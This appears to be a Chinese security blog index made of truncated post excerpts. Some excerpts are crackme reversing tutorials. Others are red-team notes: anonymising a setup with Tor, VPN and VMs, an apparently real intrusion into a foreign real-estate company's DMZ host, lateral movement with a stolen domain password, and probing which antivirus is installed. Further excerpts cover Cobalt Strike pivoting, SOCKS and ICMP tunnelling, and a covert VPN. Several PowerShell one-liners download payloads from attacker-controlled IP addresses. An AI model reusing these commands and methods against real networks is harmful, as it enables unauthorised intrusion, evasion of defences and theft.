逆向工程    2020-07-01 14:07:20    199    0    0

0x01 运行

title

点击确定之后:

title

title

title

根据提示,破解的目标为:

  • 删掉所有的废话(去除 Nag Screen)
  • 找到正确的注册码

0x02 去除消息框

x32dbg 打开程序。这个是一个 VB 代码文件,从其依赖的 MSVBVM50.dll 就可以看出。或者从地址 0040116D 处的指令 call ThunRTMain() 也可以看出这是 Visual Basic 代码写的程序。

title

找到了 EP,打一个断点。从地址 0040116D 处的指令 F8 步过(不能 F7 步进,不然就进入了 ThunRTMain() 函数内部,分析的不是程序代码,而是 VB 引擎代码了):

title

指令 00402C17 和指令 00402C18 处,是典型的栈帧结构,函数的开头。
指令 00402C85 和指令 00402CBE 处,是把 MessageBox 的两个参数以逆序方式压入栈。

title

地址 00402CFE 处,调用了 rtcMsgBox() 函数,这是 VB 的消息框函数。在此处下断点。F9 运行程序,此处调用的是这个刚打开程序时候的 Nag Screen:

title

点击确定回到主页面,然后点击 Nag? 按钮。

title

EIP 跳到了 ThunRTMain() 函数的头部,栈帧结构的地方。

title

继续运行,发现同样是跳到地址 00402CFE 处的指令,调用 rtcMsgBox 函数:

title

查看程序所有调用的所有 API 目录。

title

有4处代码调用了 rtcMsgBox() 函数,给它们全都打上断点:

title

运行发现,弹出 Nag Screen 的多处代码具有相同的运行代码,也就是地址 00402CFE 处的 call rtcMsgBox。所有只需要对这一处打补丁即可。

0x03 打补丁:去除消息框

需要修改地址 00402CFE 处的 call 命令:

  1. 00402CFE | E8 1DE4FFFF | call <JMP.&rtcMsgBox> |

上面的 CALL 指令,大小为5字节(E8 1D E4 FF FF)。

修改为如下代码:

title

title

其中:add 指令大小为3字节(8

逆向工程    2020-07-01 13:34:46    188    0    0

0x01 运行

title

title

title

title

0x02 开始调试

启动代码

使用 x32dbg 查看 abex' crackme#2 文件的反汇编代码:

title

EP 的地址为 00401238。
title

地址 00401232 处的指令为 jump 到 ThunRTMain() 函数,就是在调用 VB 引擎的主函数 ThunRTMain()。

此 EXE 程序是 VB 代码编译出来的。VB 文件使用名为 MSVBVM60.dll(Microsoft Visual Basic Virtual Machine 6.0)的 VB 专用引擎(也称为 The Thunder Runtime Engine)。

地址 00401238 处的指令为 push 401E14。
title

此命令用于把 RT_MainStruct 结构体的地址(push 401E14)压入栈。

VB 中使用的各种信息(Dialog、Control、Form、Module、Function 等)以结构体形式保存在文件内部。微软尚未公开这种结构体信息。

地址 0040123D 处的指令为调用 00401232 处的 jmp dword ptr ds:[<&ThunRTMain>] 指令。该 JMP 指令会跳转至 VB 引擎的主函数 ThunRTMain(),而在上一条 PUSH 指令中压入栈的 401E14 的值会作为 ThunRTMain() 函数的参数。

以上 3 条指令(JMP、PUSH、CALL)就是 VB 文件的全部启动代码

间接调用

地址 0040123D 处没有直接 JUMP ThunRTMain(),而是通过 00401232 处的 JUMP 指令间接调用了 MSVBVM60.dll 里的 ThunRTMain() 函数。
这是 VC++、VB 编译器中常见的间接调用法(Indirect Call)。属于编译器的启动代码特征。

RT_MainStruct 结构体

ThunRTMain() 函数的参数为 RT_MainStruct 结构体。RT_MainStruct 结构体位于地址 00401E14 处。

title

title

微软尚未公开

2020-07-01 10:58:17    215    0    0

声明:

个人行为,他人无关。虚拟目标,切勿带入。未经同意,禁止转载。


0x01 匿名准备

多重代理+双虚拟机方案:

  • 第1层:
    物理机流量:匿名网卡+(旧)手机热点

  • 第2层:
    虚拟机 A(加固、外文操作系统),双网卡,一个网卡设置为 Host-Only 模式,以便跟虚拟机 B 对接;另一个网卡设置为 NAT 模式,以便访问外网。
    在虚拟机 A 中安装代理软件(Tor、Wireguard Vpn 等)。运行 Wireguard VPN 作为 Tor 的前置代理。

  • 第3层:
    攻击机器虚拟机B(加固、外文操作系统),唯一的虚拟网卡设置为【Host-Only】模式。连接到虚拟机 A 里面的代理软件(如 TOR 的 socks 代理),然后通过代理连接到互联网。
    其他用途的虚拟机,如用于上传下载文件的虚拟机,查资料的虚拟机等,设置同虚拟机B。

0x02 渗透目标

目标信息:

X 国上市地产集团。
根据 net time 存在 x 小时时差(早 x 小时),可以进一步确认是 X 国的目标。
目前已拿下第一台主机(DMZ 机器)的 system 权限。发现此机器在域中。

  1. beacon> shell whoami /user
  2. USER INFORMATION
  3. ----------------
  4. User Name SID
  5. =================== ========
  6. nt authority\system S-1-5-18

本机相关信息:

  • hostname:SRVHYBEX
  • OS:Windows Server 2008 R2
  • 域名:hfangdichan.com(已做处理)
  • 出网防火墙公网 IP:203.x.x.189
  • 内网 IP:192.168.11.248
  • 当前权限:nt authority\system
  • 当前无管理员在线,最近也无管理员登陆过

防火墙状态:

  1. beacon> shell netsh firewall show state
  2. Firewall status:
  3. -------------------------------------------
逆向工程    2020-06-24 16:57:54    677    0    0

0x01 运行

待破解程序:abex' crackme #1.exe

title

点击确定之后:

title

再次点击确定退出。

0x02 调试

先运行 x32dbg 载入exe,代码窗口中查看程序的汇编代码:

title

EP 代码很短,没有之前看到的 VS 2009 编译出来的那么多启动函数。判断这是一个直接用汇编语言编写的程序。

0x03 分析汇编代码

title

逐行分析:

第 1 段:调用 MessageBoxA() 函数

title

title

第 2 段:调用 GetDriveTypeA() 函数

title

GetDriveTypeA function

title

如图:GetDriveTypeA 这个函数功能为判断驱动器的类型。传入参数是磁盘的根目录。

如下二图可以看到 GetDriveTypeA 函数的返回值为3(寄存器 EAX)。

title
title

根据 GetDriveTypeA function

DRIVE_FIXED
3
The drive has fixed media; for example, a hard disk drive or flash drive.

第 3 段:条件分支(401028 或 40103D)

title

如上可以看到,EAX 和 ESI 两值不等,所以从 00401028 继续往下执行。

第 4 段:401028

title

title

第 5 段:40103D

title

并未执行的条件分支,其内容为调用 MessageBoxA() 函数,弹出一个 title 为 "YEAH!",text 为 "Ok, I really think that your HD is a CD-ROM! :p" 的弹窗。

第 6 段:终止进程

title

0x04 破解

破解的目的是:改变程序的执行结果,使其执行 40103D 分支的代码。

思路:

  1. 把条件分支语句 je 0x0040103D 改为 jmp 0x0040103D(不作判断直接跳)。

  2. 把条件分支语句 je 0x0040103D 改为 jne 0x0040103D(Jump if Not Equal)。

如图修改为了 jne:

title

打补丁给

2020-06-17 19:52:29    756    0    0

前情提要

  • 现在已经获得了第一台 DMZ 机器(192.16.11.248)的初始权限,发现这台机器在域中。
  • 在此机器上抓到了一个域账号(服务账号)的有效明文密码。
  • 在 C2 和初始权限机器之间架设 frp 隧道,使用初始权限机器做代理、使用 impacket 套件中的 wmiexec 脚本获取了第二台欲横向机器的交互式 shell。
  • 想要使第二台机器(192.16.0.134) CS 上线。

网络环境探测

netstat -ano

title

title

title

  • 通 192.168.11.x 内网段
  • 通外网,但主要是 80、443 端口

ICMP 出网:

title

TCP 出网:

title

通过 TRACERT 看出来到出网就1跳,所以应该没有什么流量监测或者网络防御设备。

title

看到可以直接 TCP 出网,外加目标是 Windows2008 R2 环境,没 Windows Defender 的阻力,于是我直接用 reverse_http 类型监听器生成的 Powershell payload 进行上线,但是上线失败。

title

  1. powershell.exe -nop "((new-object net.webclient).downloadstring('http://47.52.x.x:443/a'))"

发现 powershell payload 都没下载成功,因为我使用的端口已经是 443,所以排除了放行端口的问题。但是把 payload 托管到 pastebin 网站上,IEX 执行可以正常上线,但是上线之后的 shell,无法执行命令,仅有心跳。所以猜测 http 通信遭到了拦截。

AV 探测

  • net start
  • C:\>tasklist /svc
系统进程 杀软名称
TMBMSRV.exe 趋势杀毒
ntrtscan.exe 趋势反病毒应用程序
NTRTSCAN.exe 趋势科技
PCCNTMON.exe PC-cillin
TMLISTEN.exe 趋势科技

所以这台机器上有趋势。得知是趋势,那么就不太担心了,毕竟趋势相对挺好过的。

2020-06-17 13:47:20    429    0    0

title

我们的正反向 socks,都是为了搭建上图中的 host → proxy 的这一步,这样是为了使用已控机器代理进目标网络。所以 socks 服务器一定是搭建在被控目标机器上的,因为我们要使用它的流量代理进内网。而一定不可能搭建在 C2 机器上,因为 C2 机器本身不在目标内网中。

具体来说,被控目标机器必须运行一个程序,用于处理 socks5,必须要有这个服务。因为被控目标机器作为代理,其作用就是转发。如果没有 socks5 服务,它用什么做转发呢(公网流量转发进内网)?

在本文中,介绍了正向 socks 代理反向 socks 代理。之所以有这两种方向的 socks 代理,是因为作为 socks sever 的那一台被控目标机器(必须出网),可能有公网 IP,也可能没有。如果没有公网 IP,那么搭建好 socks 服务之后,可能无法直接用其作为 socks 代理,这种情况下,我们就需要借助 C2 的公网 IP。

  • 正向 socks

正向代理(Forward Proxy)
Lhost → proxy → Rhost
Lhost 为了访问到 Rhost,向 proxy 发送了一个请求并且指定目标是 Rhost,然后 proxy 向 Rhost 转交请求并将获得的内容返回给 Lhost,简单来说正向代理就是 proxy 代替了我们去访问 Rhost。

正向的 socks 也就是以目标网络中的已控失陷机器作为 socks 服务器(也就是正向代理中的 proxy)。

往往是让此机器监听本机的一个端口,这个端口提供 socks5 服务,比如:直接在已控目标机器上开个 gost -L socks5a://:1080,那失陷目标机器就直接监听 1080 了(在这一步可能需要 C2 去执行 gost 这个开启 socks 服务器的命令)。

然后就可以使用此 socks 代理了,使用任何攻击机器去连到这个 socks 代理,就可以使用此机器的流量进入目标网络。

适用情况:

正向 socks 适用于你可以连接到目标上的情况,比如目标有公网 ip,如果目标在内网,这种就没意义了,因为你在外面,他就算监听本机的端口,你也连不上

2020-06-03 17:47:56    644    0    0

0x01 ICMP 隧道使用场景

两台机器间,除了允许 icmp 通信(单向或互相 ping),其他的 tcp/udp 端口一律不允许,此时我们就可考虑利用 icmp 隧道进行穿透。

title

利用 icmp 隧道轻松穿透 tcp/udp 四层封锁。

实现的 ICMP 隧道的一些工具,如:

  • icmpsh
  • PingTunnel
  • icmptunnel
  • powershell icmp
  • ......

我本以为工具就是工具,随便选一个就可以。但其实不是这样。上面这些不同的 ICMP 隧道工具适用于不同的场景,需要根据不同的网络环境进行选择使用。当然,自己写可能是最好的......

0x02 实验1:失陷机器单向 ICMP 出网

网络拓扑:

title

注:这里 redis 没有公网 IP 也可以(其实是我手误配出来一个公网 IP)。此实验中,攻击者控下 ICMP 跳板机的方式是 Redis 拿 shell。其他可能的一些方式如 FTP、MS SQL 拿 Shell......

连通性测试:

redis 机器只有 icmp 出网:

  1. powershell -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http://47.244.96.168:8888/readme.txt','readme.txt')

title

title

隧道搭建工具:

开始搭建 ICMP 隧道:

注:

attack 和 redis 谁是 client 端,谁是 server 端呢?
因为现在:

  • redis 可以 ping 通 attack 机器
  • attack 机器无法 ping 通 redis 机器

所以很容易理解,attack 机器应该作 icmp 隧道的 server 端,等待连接。redis 机器应该作 icmp 隧道的 client 端,主动去连接 attack 机器。

attack 机器上开启 ICMP 服务端:

  1. sudo wget https://github.com
2020-06-03 17:47:13    606    0    0

探测连通性指的是机器能否上外网或者是内网机器之间的互通性。

0x01 Windows

  1. # 探测 ICMP 协议出网
  2. ping ip or domain
  3. # 第一个参数是需要解析的域名,第二个参数是目标 DNS 服务器的 IP,可判断目标 IP 的53端口是否正常工作
  4. nslookup baidu.com 10.10.10.128 # 第二个参数指定 DNS 服务器
  5. arp -a # 查看 ARP 缓存内容
  6. net view # 显示当前域中的计算机列表

不依赖第三方工具探测 TCP/UDP 是否出网:

在攻击机器开一个 python HTTP Server,然后在失陷 Windows 机器上使用 Powershell 去下东西。如果不出网会报错:

  1. powershell -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http://47.244.96.168:8888/readme.txt','readme.txt')

title

0x02 Linux

  1. #Linux bash
  2. ping ip or domain
  1. nc -zv ip port # z选项:没有输入和输出的模式,v选项:显示详细信息

经我测试直接这样很慢,使用下面的参数选项快很多!

  1. nc -znv -w 3 ip port
  • -w 设置超时秒数。在测试链接的时候,如果你【没】使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才告诉你连接失败。如果你所处的网络环境稳定且高速(比如:局域网内),那么,你可以追加 -w 选项,设置一个比较小的超时值。在上面的例子中,超时值设为3秒。
  • -n:由于测试的是【IP 地址】,用该选项告诉 nc,【无须】进行域名(DNS)解析;反之,如果你要测试的主机是基于【域名】,就【不能】用选项 -n。加上 -n 省略了 DNS 解析的步骤,速度快很多。
  • 补充说明:UDP 端口测试。通常情况下,要测试的端口都是 TCP 协议的端口;如果你碰到特殊情况,需要测试某个 UDP 的端口是否可达。nc 同样能胜任。只需要追加
2020-05-17 09:16:16    626    0    0

0x01 前言

title

本文就是对这个问题的回答。要达成的效果是:通过一个马直接让内网机器上线(走内网中可出网机器的代理)。

但是当我答应我的狗朋友帮忙测试的时候,我也没想到我能因为这个功能踩那么多坑。

0x02 实验环境

title

注:DMZinternal 的操作系统都是 Windows 2008 R2。

  • DMZ 出网,已上线 CS。
    title

  • internal 不出网,只跟 DMZ 内网通。
    title

    注:我是通过限制安全组的方式来模拟不出网环境的。
    internal 的安全组:
    title
    title

  • 两台机器之间走内网互通,走外网不通。
    title

    title

    title

0x03 思路与操作

上线思路

title

最终上线路径为:

172.17.30.206172.17.30.205:80(HTTP代理)→ 123.57.227.115:8080(端口转发)→ 47.110.145.157(HTTP 协议监听器上线)

操作步骤

1、dmz 机器上线,方式:Scripted Web Delivery powershell 脚本(此 DMZ 机器是 2008 r2)

title

2、dmz 机器架设 HTTP 代理

注:为什么这里是 HTTP 代理而不是 socks5 代理,因为记忆中 Cobalt Strike 只支持 socks4a(未确认)。

在下常用的一些代理搭建项目:

项目 代理类型 备注 参考
tinyproxy HTTP 依赖 docker 环境快速部署 快速搭建 HTTP 代理
tor socks 匿名性好,速度慢 快速搭建 HTTP 代理
esocks socks5 快速部署依赖 Java 环境 快速搭建 HTTP 代理
goproxy HTTP(S),SOCKS5,WEBSOCKET, TCP, UDP 编译好的单文件不依赖任何环境 goproxy

在这里我用的是 goproxy 在这个 win 2008 r2 上架设 socks 5 代理,毕竟绿色软件,单 exe 即可。

2020-05-15 14:14:03    609    0    2

因为网上似乎没有关于这个功能的文章,至少中文真的没找到。所以为了应应急,我先记录下操作,原理这周末再慢慢分析。

对了,这是哪个功能呢?对应 CS 手册中第九章 9.5 隐蔽 VPN

title

实验环境

失陷机器:

title

目标网络:

title

操作过程

1、 部署 VPN

title

title

Launch 之后,在 VPN Interfaces 这里可以看到刚刚部署的 VPN 接口:

title

Beacon Shell 里面也可以看到:

title

2、 使用 VPN

在团队服务器中,配置刚刚的 VPN 接口:

先连接到刚刚的 VPN 接口,能找到此设备:

title

然后手动给他配置一个目标网络中的内网地址,如:

  1. sudo ifconfig phear0 192.168.3.145/24

title

然后就可以通目标内网了哦:

title

回到 CS 的 VPN Interfaces 这里可以看到数据走 VPN 在收发:

title

常见错误

之前我试过 UDP(理论上 VPN 部署最好的 tunnel),但是失败了。也试过了 TCP(Bind) 也失败了。如果一种协议不通,那么如下图。client 那里会显示 not connectedtxrx 也没有收发的数据字节数。

title

虽然网卡设备在 CS 团队服务器主机上能找到,但是实际并没有进目标内网:

title

所以要选择可通的协议来部署隧道。

Channel 包括:

  • UDP
  • HTTP
  • ICMP
  • TCP(Bind)
  • TCP(Reverse)

根据实际情况选择合适你的场景的。

What's More

当你的 CS 团队服务器获取了一个目标内网的网卡之后,然后呢?

然后你可以,比如:

  • msf 攻击,LHOST 设置为此 VPN 接口的 IP 即可,在上面的例子中就是 192.168.3.145
  • 通过【SSH 会话】的方式继续对一些 UNIX 目标进行后渗透。比如,在目标外网你无法 SSH 上去的情况,现在就有办法了(参考 使用 Cobalt Strike 对 Linux 主机进行后渗透)。
  • ......

这几天很忙,原理周末有时间再补上。


参考文档:

  1. VPN Pivoti